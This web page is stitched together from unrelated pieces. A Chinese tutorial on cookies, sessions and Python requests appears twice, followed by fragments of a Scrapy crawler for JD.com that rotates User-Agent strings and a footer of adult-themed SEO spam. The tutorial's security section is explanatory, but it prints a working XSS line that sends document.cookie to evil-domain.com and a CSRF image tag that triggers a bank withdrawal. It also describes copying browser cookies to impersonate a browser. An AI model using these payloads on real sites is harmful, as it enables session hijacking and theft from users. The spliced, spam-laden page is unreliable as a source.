整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          必須掌握的Cookie知識點都在這里

          必須掌握的Cookie知識點都在這里

          信很多同學肯定聽過Cookie這個東西,也大概了解其作用,但是其原理以及如何設置,可能沒有做過web的同學并不是非常清楚,那今天豬哥就帶大家詳細了解下Cookie相關的知識!

          一、誕生背景

          爬蟲系列教程的第一篇:HTTP詳解中我們便說過HTTP的五大特點,而其中之一便是:無狀態

          HTTP無狀態:服務器無法知道兩個請求是否來自同一個瀏覽器,即服務器不知道用戶上一次做了什么,每次請求都是完全相互獨立。

          早期互聯網只是用于簡單的瀏覽文檔信息、查看黃頁、門戶網站等等,并沒有交互這個說法。但是隨著互聯網慢慢發展,寬帶、服務器等硬件設施已經得到很大的提升,互聯網允許人們可以做更多的事情,所以交互式Web慢慢興起,而HTTP無狀態的特點卻嚴重阻礙其發展!

          交互式Web:客戶端與服務器可以互動,如用戶登錄,購買商品,各種論壇等等

          不能記錄用戶上一次做了什么,怎么辦?聰明的程序員們就開始思考:怎么樣才能記錄用戶上一次的操作信息呢?于是有人就想到了隱藏域

          隱藏域寫法:<input type="hidden" name="field_name" value="value">

          這樣把用戶上一次操作記錄放在form表單的input中,這樣請求時將表單提交不就知道上一次用戶的操作,但是這樣每次都得創建隱藏域而且得賦值太麻煩,而且容易出錯!

          ps:隱藏域作用強大,時至今日都有很多人在用它解決各種問題!

          網景公司當時一名員工Lou Montulli(盧-蒙特利),在1994年將“cookies”的概念應用于網絡通信,用來解決用戶網上購物的購物車歷史記錄,而當時最強大的瀏覽器正是網景瀏覽器,在網景瀏覽器的支持下其他瀏覽器也漸漸開始支持Cookie,到目前所有瀏覽器都支持Cookie了

          二、Cookie是什么

          前面我們已經知道了Cookie的誕生是為了解決HTTP無狀態的特性無法滿足交互式web,那它究竟是什么呢?

          上圖是在Chrome瀏覽器中的百度首頁的Cookies(Cookie的復數形式),在表格中,每一行都代表著一個Cookie,所以我們來看看Cookie的定義吧!

          Cookie是由服務器發給客戶端的特殊信息,而這些信息以文本文件的方式存放在客戶端,然后客戶端每次向服務器發送請求的時候都會帶上這些特殊的信息,用于服務器記錄客戶端的狀態。

          Cookie主要用于以下三個方面:

          1. 會話狀態管理(如用戶登錄狀態、購物車、游戲分數或其它需要記錄的信息)
          2. 個性化設置(如用戶自定義設置、主題等)
          3. 瀏覽器行為跟蹤(如跟蹤分析用戶行為等)

          三、Cookie原理

          我們在了解了Cookie是由服務器發出存儲在瀏覽器的特殊信息,那具體是怎么樣的一個過程呢?為了大家便于理解,豬哥就以用戶登錄為例子為大家畫了一幅Cookie原理圖

          用戶在輸入用戶名和密碼之后,瀏覽器將用戶名和密碼發送給服務器,服務器進行驗證,驗證通過之后將用戶信息加密后封裝成Cookie放在請求頭中返回給瀏覽器

          HTTP/1.1 200 OK
          Content-type: text/html
          Set-Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Aug 2019 21:47:38 GMT; Path=/; Domain=.169it.com; HttpOnly
          [響應體]
          

          瀏覽器收到服務器返回數據,發現請求頭中有一個:Set-Cookie,然后它就把這個Cookie保存起來,下次瀏覽器再請求服務器的時候,會把Cookie也放在請求頭中傳給服務器:

          GET /sample_page.html HTTP/1.1
          Host: www.example.org
          Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg
          

          服務器收到請求后從請求頭中拿到cookie,然后解析并到用戶信息,說明此用戶已登錄,Cookie是將數據保存在客戶端的。

          這里我們可以看到,用戶信息是保存在Cookie中,也就相當于是保存在瀏覽器中,那就說用戶可以隨意修改用戶信息,這是一種不安全的策略!

          強調一點:Cookie無論是服務器發給瀏覽器還是瀏覽器發給服務器,都是放在請求頭中的!

          四、Cookie屬性

          下圖中我們可以看到一個Cookie有:Name、Value、Domain、Path、Expires/Max-Age、Size、HTTP、Secure這些屬性,那這些屬性分別都有什么作用呢?我們來看看

          1. Name&Value

          Name表示Cookie的名稱,服務器就是通過name屬性來獲取某個Cookie值。

          Value表示Cookie 的值,大多數情況下服務器會把這個value當作一個key去緩存中查詢保存的數據。

          2.Domain&Path

          Domain表示可以訪問此cookie的域名,下圖我們以百度貼吧頁的Cookie來講解一下Domain屬性。

          從上圖中我們可以看出domain有:.http://baidu.com 頂級域名和.http://teiba.baidu.com的二級域名,所以這里就會有一個訪問規則:頂級域名只能設置或訪問頂級域名的Cookie,二級及以下的域名只能訪問或設置自身或者頂級域名的Cookie,所以如果要在多個二級域名中共享Cookie的話,只能將Domain屬性設置為頂級域名!

          Path表示可以訪問此cookie的頁面路徑。比如path=/test,那么只有/test路徑下的頁面可以讀取此cookie。

          3.Expires/Max-Age

          Expires/Max-Age表示此cookie超時時間。若設置其值為一個時間,那么當到達此時間后,此cookie失效。不設置的話默認值是Session,意思是cookie會和session一起失效。當瀏覽器關閉(不是瀏覽器標簽頁,而是整個瀏覽器) 后,此cookie失效。

          提示:當Cookie的過期時間被設定時,設定的日期和時間只與客戶端相關,而不是服務端。

          4.Size

          Size表示Cookie的name+value的字符數,比如有一個Cookie:id=666,那么Size=2+3=5 。

          另外每個瀏覽器對Cookie的支持都不相同

          5.HTTP

          HTTP表示cookie的httponly屬性。若此屬性為true,則只有在http請求頭中會帶有此cookie的信息,而不能通過document.cookie來訪問此cookie。

          設計該特征意在提供一個安全措施來幫助阻止通過Javascript發起的跨站腳本攻擊(XSS)竊取cookie的行為

          6.Secure

          Secure表示是否只能通過https來傳遞此條cookie。不像其它選項,該選項只是一個標記并且沒有其它的值。

          這種cookie的內容意指具有很高的價值并且可能潛在的被破解以純文本形式傳輸。

          五、Python操作Cookie

          1.生成Cookie

          前面我們說過Cookie是由服務端生成的,那如何用Python代碼來生成呢?

          從上圖登錄代碼中我們看到,在簡單的驗證用戶名和密碼之后,服務器跳轉到/user,然后set了一個cookie,瀏覽器收到響應后發現請求頭中有一個:Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg,然后瀏覽器就會將這個Cookie保存起來!

          2.獲取Cookie

          最近我們一直在講requests模塊,這里我們就用requests模塊來獲取Cookie。

          r.cookies表示獲取所有cookie,get_dict()函數表示返回的是字典格式cookie。

          3.設置Cookie

          上篇我們爬取優酷彈幕的文章中便是用了requests模塊設置Cookie

          我們就瀏覽器復制過來的Cookie放在代碼中,這樣便可以順利的偽裝成瀏覽器,然后正常爬取數據,復制Cookie是爬蟲中常用的一種手段!

          六、Session

          1.誕生背景

          其實在Cookie設計之初,并不像豬哥講的那樣Cookie只保存一個key,而是直接保存用戶信息,剛開始大家認為這樣用起來很爽,但是由于cookie 是存在用戶端,而且它本身存儲的尺寸大小也有限,最關鍵是用戶可以是可見的,并可以隨意的修改,很不安全。那如何又要安全,又可以方便的全局讀取信息呢?于是,這個時候,一種新的存儲會話機制:Session 誕生了。

          2.Session是什么

          Session翻譯為會話,服務器為每個瀏覽器創建的一個會話對象,瀏覽器在第一次請求服務器,服務器便會為這個瀏覽器生成一個Session對象,保存在服務端,并且把Session的Id以cookie的形式發送給客戶端瀏覽,而以用戶顯式結束或session超時為結束。

          我們來看看Session工作原理:

          1. 當一個用戶向服務器發送第一個請求時,服務器為其建立一個session,并為此session創建一個標識號(sessionID)。這個用戶隨后的所有請求都應包括這個標識號(sessionID)。服務器會校對這個標識號以判斷請求屬于哪個session。

          對于session標識號(sessionID),有兩種方式實現:Cookie和URL重寫,豬哥就以Cookie的實現方式畫一個Session原理圖

          聯系cookie原理圖我們可以看到,Cookie是將數據直接保存在客戶端,而Session是將數據保存在服務端,就安全性來講Session更好!

          3.Python操作Session

          后面豬哥將會以登錄的例子來講解如何用Python代碼操作Session

          七、面試場景

          1.Cookie和Session關系

          1. 都是為了實現客戶端與服務端交互而產出Cookie是保存在客戶端,缺點易偽造、不安全Session是保存在服務端,會消耗服務器資源Session實現有兩種方式:Cookie和URL重寫

          2.Cookie帶來的安全性問題

          1. 會話劫持和XSS:在Web應用中,Cookie常用來標記用戶或授權會話。因此,如果Web應用的Cookie被竊取,可能導致授權用戶的會話受到攻擊。常用的竊取Cookie的方法有利用社會工程學攻擊和利用應用程序漏洞進行XSS攻擊。(new Image()).src="http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;HttpOnly類型的Cookie由于阻止了JavaScript對其的訪問性而能在一定程度上緩解此類攻擊。跨站請求偽造(CSRF):維基百科已經給了一個比較好的CSRF例子。比如在不安全聊天室或論壇上的一張圖片,它實際上是一個給你銀行服務器發送提現的請求:<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">當你打開含有了這張圖片的HTML頁面時,如果你之前已經登錄了你的銀行帳號并且Cookie仍然有效(還沒有其它驗證步驟),你銀行里的錢很可能會被自動轉走。解決CSRF的辦法有:隱藏域驗證碼、確認機制、較短的Cookie生命周期等

          八、總結

          今天為大家講解了Cookie的相關知識,以及如何使用requests模塊操作Cookie,最后順便提了一下Cookie與Session的關系以及Cookie存在哪些安全問題。希望大家能對Cookie(小餅干)能有個全面的了解,這樣對你在今后的爬蟲學習中會大有裨益!

          天我們來全面了解一下Cookie(小餅干)相關的知識!篇幅有點長,在學習Python的伙伴或者有興趣的你,可以耐心看哦!

          相信很多同學肯定聽過Cookie這個東西,也大概了解其作用,但是其原理以及如何設置,可能沒有做過web的同學并不是非常清楚,以前的Python學習教程中其實有跟大家提到過,那今天就帶大家詳細了解下Cookie相關的知識!

          一、誕生背景

          爬蟲系列教程的第一篇:HTTP詳解中我們便說過HTTP的五大特點,而其中之一便是:無狀態

          HTTP無狀態:服務器無法知道兩個請求是否來自同一個瀏覽器,即服務器不知道用戶上一次做了什么,每次請求都是完全相互獨立。

          早期互聯網只是用于簡單的瀏覽文檔信息、查看黃頁、門戶網站等等,并沒有交互這個說法。但是隨著互聯網慢慢發展,寬帶、服務器等硬件設施已經得到很大的提升,互聯網允許人們可以做更多的事情,所以交互式Web慢慢興起,而HTTP無狀態的特點卻嚴重阻礙其發展!

          交互式Web:客戶端與服務器可以互動,如用戶登錄,購買商品,各種論壇等等

          不能記錄用戶上一次做了什么,怎么辦?聰明的程序員們就開始思考:怎么樣才能記錄用戶上一次的操作信息呢?于是有人就想到了隱藏域。

          隱藏域寫法:<input type="hidden" name="field_name" value="value">

          這樣把用戶上一次操作記錄放在form表單的input中,這樣請求時將表單提交不就知道上一次用戶的操作,但是這樣每次都得創建隱藏域而且得賦值太麻煩,而且容易出錯!

          ps:隱藏域作用強大,時至今日都有很多人在用它解決各種問題!

          網景公司當時一名員工Lou Montulli(盧-蒙特利),在1994年將“cookies”的概念應用于網絡通信,用來解決用戶網上購物的購物車歷史記錄,而當時最強大的瀏覽器正是網景瀏覽器,在網景瀏覽器的支持下其他瀏覽器也漸漸開始支持Cookie,到目前所有瀏覽器都支持Cookie了

          二、Cookie是什么

          前面我們已經知道了Cookie的誕生是為了解決HTTP無狀態的特性無法滿足交互式web,那它究竟是什么呢?

          上圖是在Chrome瀏覽器中的百度首頁的Cookies(Cookie的復數形式),在表格中,每一行都代表著一個Cookie,所以我們來看看Cookie的定義吧!

          Cookie是由服務器發給客戶端的特殊信息,而這些信息以文本文件的方式存放在客戶端,然后客戶端每次向服務器發送請求的時候都會帶上這些特殊的信息,用于服務器記錄客戶端的狀態。

          Cookie主要用于以下三個方面:

          1. 會話狀態管理(如用戶登錄狀態、購物車、游戲分數或其它需要記錄的信息)
          2. 個性化設置(如用戶自定義設置、主題等)
          3. 瀏覽器行為跟蹤(如跟蹤分析用戶行為等)

          三、Cookie原理

          我們在了解了Cookie是由服務器發出存儲在瀏覽器的特殊信息,那具體是怎么樣的一個過程呢?為了大家便于理解,豬哥就以用戶登錄為例子為大家畫了一幅Cookie原理圖

          用戶在輸入用戶名和密碼之后,瀏覽器將用戶名和密碼發送給服務器,服務器進行驗證,驗證通過之后將用戶信息加密后封裝成Cookie放在請求頭中返回給瀏覽器。

          HTTP/1.1 200 OK
          Content-type: text/html
          Set-Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Aug 2019 21:47:38 GMT; Path=/; Domain=.169it.com; HttpOnly
          [響應體]
          

          瀏覽器收到服務器返回數據,發現請求頭中有一個:Set-Cookie,然后它就把這個Cookie保存起來,下次瀏覽器再請求服務器的時候,會把Cookie也放在請求頭中傳給服務器:

          GET /sample_page.html HTTP/1.1
          Host: www.example.org
          Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg
          

          服務器收到請求后從請求頭中拿到cookie,然后解析并到用戶信息,說明此用戶已登錄,Cookie是將數據保存在客戶端的。

          這里我們可以看到,用戶信息是保存在Cookie中,也就相當于是保存在瀏覽器中,那就說用戶可以隨意修改用戶信息,這是一種不安全的策略!

          強調一點:Cookie無論是服務器發給瀏覽器還是瀏覽器發給服務器,都是放在請求頭中的!

          四、Cookie屬性

          下圖中我們可以看到一個Cookie有:Name、Value、Domain、Path、Expires/Max-Age、Size、HTTP、Secure這些屬性,那這些屬性分別都有什么作用呢?我們來看看

          1. Name&Value

          Name表示Cookie的名稱,服務器就是通過name屬性來獲取某個Cookie值。

          Value表示Cookie 的值,大多數情況下服務器會把這個value當作一個key去緩存中查詢保存的數據。

          2.Domain&Path

          Domain表示可以訪問此cookie的域名,下圖我們以百度貼吧頁的Cookie來講解一下Domain屬性。

          從上圖中我們可以看出domain有:.baidu.com 頂級域名和.teiba.baidu.com的二級域名,所以這里就會有一個訪問規則:頂級域名只能設置或訪問頂級域名的Cookie,二級及以下的域名只能訪問或設置自身或者頂級域名的Cookie,所以如果要在多個二級域名中共享Cookie的話,只能將Domain屬性設置為頂級域名!

          Path表示可以訪問此cookie的頁面路徑。比如path=/test,那么只有/test路徑下的頁面可以讀取此cookie。

          3.Expires/Max-Age

          Expires/Max-Age表示此cookie超時時間。若設置其值為一個時間,那么當到達此時間后,此cookie失效。不設置的話默認值是Session,意思是cookie會和session一起失效。當瀏覽器關閉(不是瀏覽器標簽頁,而是整個瀏覽器) 后,此cookie失效。

          提示:當Cookie的過期時間被設定時,設定的日期和時間只與客戶端相關,而不是服務端。

          4.Size

          Size表示Cookie的name+value的字符數,比如有一個Cookie:id=666,那么Size=2+3=5 。

          另外每個瀏覽器對Cookie的支持都不相同

          5.HTTP

          HTTP表示cookie的httponly屬性。若此屬性為true,則只有在http請求頭中會帶有此cookie的信息,而不能通過document.cookie來訪問此cookie。

          設計該特征意在提供一個安全措施來幫助阻止通過Javascript發起的跨站腳本攻擊(XSS)竊取cookie的行為

          6.Secure

          Secure表示是否只能通過https來傳遞此條cookie。不像其它選項,該選項只是一個標記并且沒有其它的值。

          這種cookie的內容意指具有很高的價值并且可能潛在的被破解以純文本形式傳輸。

          五、Python操作Cookie

          1.生成Cookie

          前面我們說過Cookie是由服務端生成的,那如何用Python代碼來生成呢?

          從上圖登錄代碼中我們看到,在簡單的驗證用戶名和密碼之后,服務器跳轉到/user,然后set了一個cookie,瀏覽器收到響應后發現請求頭中有一個:Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg,然后瀏覽器就會將這個Cookie保存起來!

          2.獲取Cookie

          最近我們一直在講requests模塊,這里我們就用requests模塊來獲取Cookie。

          r.cookies表示獲取所有cookie,get_dict()函數表示返回的是字典格式cookie。

          3.設置Cookie

          上篇我們爬取優酷彈幕的文章中便是用了requests模塊設置Cookie

          我們就瀏覽器復制過來的Cookie放在代碼中,這樣便可以順利的偽裝成瀏覽器,然后正常爬取數據,復制Cookie是爬蟲中常用的一種手段!

          六、Session

          1.誕生背景

          其實在Cookie設計之初,并不像豬哥講的那樣Cookie只保存一個key,而是直接保存用戶信息,剛開始大家認為這樣用起來很爽,但是由于cookie 是存在用戶端,而且它本身存儲的尺寸大小也有限,最關鍵是用戶可以是可見的,并可以隨意的修改,很不安全。那如何又要安全,又可以方便的全局讀取信息呢?于是,這個時候,一種新的存儲會話機制:Session 誕生了。

          2.Session是什么

          Session翻譯為會話,服務器為每個瀏覽器創建的一個會話對象,瀏覽器在第一次請求服務器,服務器便會為這個瀏覽器生成一個Session對象,保存在服務端,并且把Session的Id以cookie的形式發送給客戶端瀏覽,而以用戶顯式結束或session超時為結束。

          我們來看看Session工作原理:

          1. 當一個用戶向服務器發送第一個請求時,服務器為其建立一個session,并為此session創建一個標識號(sessionID)。
          2. 這個用戶隨后的所有請求都應包括這個標識號(sessionID)。服務器會校對這個標識號以判斷請求屬于哪個session。

          對于session標識號(sessionID),有兩種方式實現:Cookie和URL重寫,豬哥就以Cookie的實現方式畫一個Session原理圖

          聯系cookie原理圖我們可以看到,Cookie是將數據直接保存在客戶端,而Session是將數據保存在服務端,就安全性來講Session更好!

          3.Python操作Session

          后面豬哥將會以登錄的例子來講解如何用Python代碼操作Session

          七、面試場景

          1.Cookie和Session關系

          1. 都是為了實現客戶端與服務端交互而產出
          2. Cookie是保存在客戶端,缺點易偽造、不安全
          3. Session是保存在服務端,會消耗服務器資源
          4. Session實現有兩種方式:Cookie和URL重寫

          2.Cookie帶來的安全性問題

          1. 會話劫持和XSS:在Web應用中,Cookie常用來標記用戶或授權會話。因此,如果Web應用的Cookie被竊取,可能導致授權用戶的會話受到攻擊。常用的竊取Cookie的方法有利用社會工程學攻擊和利用應用程序漏洞進行XSS攻擊。(new Image()).src="http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;HttpOnly類型的Cookie由于阻止了JavaScript對其的訪問性而能在一定程度上緩解此類攻擊。
          2. 跨站請求偽造(CSRF):維基百科已經給了一個比較好的CSRF例子。比如在不安全聊天室或論壇上的一張圖片,它實際上是一個給你銀行服務器發送提現的請求:<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">當你打開含有了這張圖片的HTML頁面時,如果你之前已經登錄了你的銀行帳號并且Cookie仍然有效(還沒有其它驗證步驟),你銀行里的錢很可能會被自動轉走。解決CSRF的辦法有:隱藏域驗證碼、確認機制、較短的Cookie生命周期等

          八、總結

          今天為大家講解了Cookie的相關知識,以及如何使用requests模塊操作Cookie,最后順便提了一下Cookie與Session的關系以及Cookie存在哪些安全問題。希望大家能對Cookie(小餅干)能有個全面的了解,能夠對你在今后的爬蟲學習有所幫助!伙伴們有不清楚的地方,可以私信留言!

          目地址:

          https://github.com/Glf9832/ScrapyJingDong.git

          主要代碼:

          # -*- coding: utf-8 -*-

          2

          3 # Define here the models for your scraped items

          4 #

          5 # See documentation in:

          6 # https://doc.scrapy.org/en/latest/topics/items.html

          7

          8 import scrapy

          9

          10

          11 class ScrapyjdItem(scrapy.Item):

          12 # define the fields for your item here like:

          13 # name=scrapy.Field()

          14 product_url=scrapy.Field() #商品url

          15 product_id=scrapy.Field() #標識ID

          16 product_name=scrapy.Field() #品名

          17 product_price=scrapy.Field() #價格

          18 store_name=scrapy.Field() #店鋪名

          19 store_url=scrapy.Field() #店鋪url

          20 crawl_time=scrapy.Field() #抓取時間

          21

          22 class CommentItem(scrapy.Item):

          23 product_url=scrapy.Field() #商品url

          24 product_id=scrapy.Field() #標識ID

          25 comment_count=scrapy.Field() #評論數

          26 comment_pro_type=scrapy.Field() #評論商品型號

          27 comment_time=scrapy.Field() #評論時間

          28 crawl_time=scrapy.Field() #抓取時間


          # -*- coding: utf-8 -*-

          2

          3 # Define here the models for your spider middleware

          4 #

          5 # See documentation in:

          6 # https://doc.scrapy.org/en/latest/topics/spider-middleware.html

          7

          8 from scrapy import signals,log

          9 import redis

          10 import random

          11 import json

          12 from .userAgents import USER_AGENTS

          13 from .cookies import init_cookie

          14 # UserAgent中間件

          15 from scrapy.downloadermiddlewares.useragent import UserAgentMiddleware

          16 # 重試中間件

          17 from scrapy.downloadermiddlewares.redirect import RedirectMiddleware

          18

          19

          20 class ScrapyjdSpiderMiddleware(object):

          21 # Not all methods need to be defined. If a method is not defined,

          22 # scrapy acts as if the spider middleware does not modify the

          23 # passed objects.

          24

          25 @classmethod

          26 def from_crawler(cls, crawler):

          27 # This method is used by Scrapy to create your spiders.

          28 s=cls()

          29 crawler.signals.connect(s.spider_opened, signal=signals.spider_opened)

          30 return s

          31

          32 def process_spider_input(self, response, spider):

          33 # Called for each response that goes through the spider

          34 # middleware and into the spider.

          35

          36 # Should return None or raise an exception.

          37 return None

          38

          39 def process_spider_output(self, response, result, spider):

          40 # Called with the results returned from the Spider, after

          41 # it has processed the response.

          42

          43 # Must return an iterable of Request, dict or Item objects.

          44 for i in result:

          45 yield i

          46

          47 def process_spider_exception(self, response, exception, spider):

          48 # Called when a spider or process_spider_input() method

          49 # (from other spider middleware) raises an exception.

          50

          51 # Should return either None or an iterable of Response, dict

          52 # or Item objects.

          53 pass

          54

          55 def process_start_requests(self, start_requests, spider):

          56 # Called with the start requests of the spider, and works

          57 # similarly to the process_spider_output() method, except

          58 # that it doesn’t have a response associated.

          59

          60 # Must return only requests (not items).

          61 for r in start_requests:

          62 yield r

          63

          64 def spider_opened(self, spider):

          65 spider.logger.info('Spider opened: %s' % spider.name)

          66

          67

          68 class ScrapyjdDownloaderMiddleware(object):

          69 # Not all methods need to be defined. If a method is not defined,

          70 # scrapy acts as if the downloader middleware does not modify the

          71 # passed objects.

          72

          73 @classmethod

          74 def from_crawler(cls, crawler):

          75 # This method is used by Scrapy to create your spiders.

          76 s=cls()

          77 crawler.signals.connect(s.spider_opened, signal=signals.spider_opened)

          78 return s

          79

          80 def process_request(self, request, spider):

          81 # Called for each request that goes through the downloader

          82 # middleware.

          83

          84 # Must either:

          85 # - return None: continue processing this request

          86 # - or return a Response object

          87 # - or return a Request object

          88 # - or raise IgnoreRequest: process_exception() methods of

          89 # installed downloader middleware will be called

          90 return None

          91

          92 def process_response(self, request, response, spider):

          93 # Called with the response returned from the downloader.

          94

          95 # Must either;

          96 # - return a Response object

          97 # - return a Request object

          98 # - or raise IgnoreRequest

          99 return response

          100

          101 def process_exception(self, request, exception, spider):

          102 # Called when a download handler or a process_request()

          103 # (from other downloader middleware) raises an exception.

          104

          105 # Must either:

          106 # - return None: continue processing this exception

          107 # - return a Response object: stops process_exception() chain

          108 # - return a Request object: stops process_exception() chain

          109 pass

          110

          111 def spider_opened(self, spider):

          112 spider.logger.info('Spider opened: %s' % spider.name)

          113

          114 class UserAgentmiddleware(UserAgentMiddleware):

          115 def process_request(self, request, spider):

          116 agent=random.choice(USER_AGENTS)

          117 # log.msg('agent : %s' % agent,level=log.INFO)

          118 request.headers['User-Agent']=agent


          主站蜘蛛池模板: 无码日韩精品一区二区免费暖暖| 日本丰满少妇一区二区三区| 亚洲国产成人久久一区WWW| 一区二区三区免费精品视频| 一区二区三区四区免费视频| 日本中文字幕在线视频一区| 久久一本一区二区三区| 一区二区免费电影| 一区二区在线视频观看| 麻豆视频一区二区三区| 精品一区二区三人妻视频| 色欲精品国产一区二区三区AV| 一区二区三区免费精品视频| 在线精品自拍亚洲第一区| 日本片免费观看一区二区| 亚洲一区二区电影| 久久亚洲一区二区| 无码人妻一区二区三区免费n鬼沢| 亚洲AV无码一区二三区| 一区二区三区福利| 中文字幕在线观看一区二区| 国产精品被窝福利一区 | 成人精品一区二区电影 | 日本一区二区三区精品中文字幕| 久久亚洲中文字幕精品一区四| 亚洲高清成人一区二区三区| 午夜视频久久久久一区 | 久久精品无码一区二区三区不卡| 无码av中文一区二区三区桃花岛| 国产香蕉一区二区三区在线视频 | 亚洲一区二区三区影院| 色久综合网精品一区二区| 亚洲一本一道一区二区三区| 色妞色视频一区二区三区四区| 中文激情在线一区二区| 美女免费视频一区二区| 亚洲AV日韩AV天堂一区二区三区| 亚洲一区无码中文字幕乱码| 成人免费一区二区三区在线观看| 精品一区二区三区在线观看l | 人妻无码视频一区二区三区|